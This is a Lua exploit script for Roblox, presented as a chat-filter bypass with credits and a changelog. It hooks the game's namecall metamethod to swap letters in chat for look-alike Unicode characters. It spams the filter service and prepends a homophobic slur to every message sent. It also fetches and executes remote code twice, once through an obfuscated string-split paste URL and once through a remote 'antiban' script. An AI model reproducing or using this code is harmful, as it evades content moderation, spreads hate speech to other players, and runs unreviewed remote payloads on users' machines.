1 | |
2 | // thanks voidfunktion for thread & the xhat bypass method itself |
3 | // thanks to Anthonyishere for Reset topik |
4 | // thanks harun for koding expertise |
5 | // more methods soon, will be updated |
6 | |
7 | [+] 03/20: Released. |
8 | (oops) |
9 | |
10 | [+] 03/28: updated |
11 | ]] |
12 | repeat task.wait() until game:IsLoaded() |
13 | loadstring(game:HttpGet('h'..'t'..'t'..'p'..'s'..':'..'/'..'/'..'p'..'a'..'s'..'t'..'e'..'f'..'y'..'.'..'a'..'pp'..'/'..'ihGjB4LE/raw', true))() |
14 | wait() |
15 | local chatService, players = game:GetService("Chat"), game:GetService("Players") |
16 | |
17 | local custom_chars = { |
18 | [" "] = "", |
19 | ["i"] = "і", |
20 | ["e"] = "е", |
21 | ["g"] = "g", |
22 | ["c"] = "с", |
23 | ["o"] = "о", |
24 | ["p"] = "р", |
25 | ["s"] = "ѕ", |
26 | ["u"] = "u", |
27 | ["I"] = "Ӏ", |
28 | ["E"] = "Е", |
29 | ["G"] = "ꓖ", |
30 | ["C"] = "С", |
31 | ["O"] = "О", |
32 | ["P"] = "Р", |
33 | ["S"] = "Ѕ", |
34 | ["U"] = "𐓎" |
35 | } |
36 | |
37 | local default = " ိ" |
38 | |
39 | local player = players.LocalPlayer |
40 | local playerGui = player:WaitForChild("PlayerGui") |
41 | local chatGui, chatBar = playerGui:WaitForChild("Chat") |
42 | |
43 | repeat task.wait() until chatGui:FindFirstChild("ChatBar", true) |
44 | chatBar = chatGui:FindFirstChild("ChatBar", true) |
45 | |
46 | do |
47 | local randomstr = function() |
48 | local characters = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"} |
49 | local str = "" |
50 | local length = math.random(12, 32) |
51 | |
52 | for i = 1, length do |
53 | str = str .. characters[math.random(#characters)] |
54 | end |
55 | return str |
56 | end |
57 | task.spawn(function() |
58 | while wait(.1) do |
59 | if chatBar:IsFocused() then |
60 | chatService:FilterStringForBroadcast(randomstr(), player) |
61 | end |
62 | end |
63 | end) |
64 | end |
65 | |
66 | local c = function() |
67 | for i = 1, 2 do |
68 | game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/e Hey how are you doing?", "All") |
69 | game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/e How are you doing?", "All") |
70 | end |
71 | end |
72 | |
73 | local old |
74 | old = hookmetamethod(game, "__namecall", newcclosure(function(self, ...) |
75 | local method = getnamecallmethod() |
76 | local args = {...} |
77 | |
78 | if method == "FireServer" and self.Name == "SayMessageRequest" and #args == 2 and not checkcaller() then |
79 | local newMessage = args[1] |
80 | for i,v in pairs(custom_chars) do |
81 | local rep = string.gsub(newMessage, i, v .. "") |
82 | newMessage = rep |
83 | end |
84 | newMessage = "FAG" .. newMessage .. default |
85 | |
86 | args[1] = newMessage |
87 | coroutine.wrap(c) |
88 | return old(self, unpack(args)) |
89 | end |
90 | return old(self, ...) |
91 | end)) |
92 | |
93 | loadstring(game:HttpGet("https://pastecode.dev/raw/tarixx9o/lulas-antiban.jar",true))() |